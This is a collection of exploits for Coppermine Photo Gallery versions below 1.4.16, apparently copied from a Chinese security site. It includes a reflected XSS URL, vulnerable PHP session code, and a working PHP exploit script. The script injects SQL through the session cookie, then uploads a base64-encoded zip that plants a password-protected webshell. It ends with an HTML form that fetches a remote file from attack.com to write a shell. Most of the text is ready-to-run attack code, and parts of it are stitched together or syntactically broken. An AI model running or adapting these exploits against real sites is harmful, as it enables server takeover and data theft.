http://somehost/docs/showdoc.php?css=1>">XSS%3B

$HTML_SUBST = array('&' => '&', '"' => '"', '<' => '<', '>' => '>', '%26' => '&', '%22' => '"', '%3C' => '<', '%3E' => '>','%27' => ''', "'" => ''');
$keysToSkip = array('_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', 'HTML_SUBST');

if (get_magic_quotes_gpc()) {
if (is_array($_POST)) {
foreach ($_POST as $key => $value) {
if (!is_array($value))
$_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}

if (is_array($_GET)) {
foreach ($_GET as $key => $value) {
unset($_GET[$key]);
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}

if (is_array($_COOKIE)) {
foreach ($_COOKIE as $key => $value) {
if (!is_array($value))
$_COOKIE[$key] = stripslashes($value);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
if (is_array($_REQUEST)) {
foreach ($_REQUEST as $key => $value) {
if (!is_array($value))
$_REQUEST[$key] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
} else {
if (is_array($_POST)) {
foreach ($_POST as $key => $value) {
if (!is_array($value))
$_POST[$key] = strtr($value, $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}

if (is_array($_GET)) {
foreach ($_GET as $key => $value) {
unset($_GET[$key]);
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}

if (is_array($_COOKIE)) {
foreach ($_COOKIE as $key => $value) {
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
if (is_array($_REQUEST)) {
foreach ($_REQUEST as $key => $value) {
if (!is_array($value))
$_REQUEST[$key] = strtr($value, $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
}

 $sessioncookie = $_COOKIE[$this->client_id]; 
 // Create the session id by concat(session_cookie_value, client_id)
$session_id = $sessioncookie.$this->client_id;

......

// Check for valid session if session_cookie_value exists
if ($sessioncookie) {

// Check for valid session
$sql = 'select user_id from '.$this->sessionstable.' where session_id=md5("'.$session_id.'");';

Coppermine Photo Gallery SQL注射+命令执行漏洞
漏洞影响 version < 1.4.16
欢迎访问 http://www.80sec.com
漏洞发现 jianxin#80sec.com

用法： php.exe exp.php www.80sec.com /cpg1416/

获得webshell地址在
http://www.80sec.com/cpg1416/plugins/loveshell.php
密码 shell
Good Luck :)

+------------------------------------------------------------------+
");

ini_set("max_execution_time",0);
error_reporting(7);

$blogpath="$argv[2]";
$server="$argv[1]";
$cookie='';

$evilzip="UEsDBBQAAAAIAGeTdDgKL31nOgAAADsAAAANAAAAbG92ZXNoZWxsLnBocLOxL8go4OVKLUvM0VCJD3INDHUNDolWL85IzclRj9W05uWyt+Pl8skvSwULKTjn56YWK3ikFqUqAgBQSwECFAAUAAAACABnk3Q4Ci99ZzoAAAA7AAAADQAAAAAAAAABACAAAAAAAAAAbG92ZXNoZWxsLnBocFBLBQYAAAAAAQABADsAAABlAAAAAAA=";

$evilzip=base64_decode($evilzip);

$data=<<
-----------------------------12345671234567
Content-Disposition: form-data; name="plugin"; filename="c:\\1.zip"
Content-Type: application/x-zip-compressed

$evilzip
-----------------------------12345671234567
www_80sec_com;

$temp=send('',"index.php");
preg_match_all('/Set-Cookie: ([a-f0-9]+)=/i',$temp,$cookiepre);

$cookiepre=$cookiepre[1][0];

if($cookiepre){
echo "Make Evil Data!\t\r\n";
$cookie=$cookiepre.'='.urlencode('")union/**/select/**/1/*;');
}

echo "Make Evil Shell!\t\r\n";
send($data,"pluginmgr.php?op=upload",'multipart/form-data; boundary=---------------------------12345671234567');

$shell="http://$server".$blogpath."plugins/loveshell.php";

echo "Look at $shell :) \r\n";
echo "Or login with cookie ".urlencode('")union/**/select/**/1/*;')."\r\n";

function send($cmd,$script,$type='')
{
global $blogpath,$server,$cookie,$count,$useragent,$debug,$evilip;

$type ? $content=$type : $content="application/x-www-form-urlencoded";

$path=$blogpath."$script";
$message = "POST ".$path." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Referer: http://".$server.$path."\r\n";
$message .= "Content-Type: $content\r\n";
$message .= "User-Agent: ".$useragent."\r\n";
$message .= "Host: ".$server."\r\n";
$message .= "Content-length: ".strlen($cmd)."\r\n";
$message .= "Connection: Keep-Alive\r\n";
$message .= "Cookie: ".$cookie."\r\n";
$message .= $evilip."\r\n";
$message .= $cmd."\r\n";

//echo $message;
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
$resp = "

";
  while($fd&&!feof($fd)) {
  $resp .= fread($fd,1024);
  }
  fclose($fd);
  $resp .="

";
if($debug) {echo $cmd;echo $resp;}
//echo $resp;
return $resp;
}
?>

<html> 
    <form action="http://cpg133/picEditor.php?img_dir=http://attack.com/&CURRENT_PIC[filename]=/shell.php" 
method=post> 
        <input name="save" value=1>
        <input name="newimage" value="shell.txt">
	<input name="HTTP_GET_VARS" value=1> 
        <input type=submit> 
    </form> 
</html>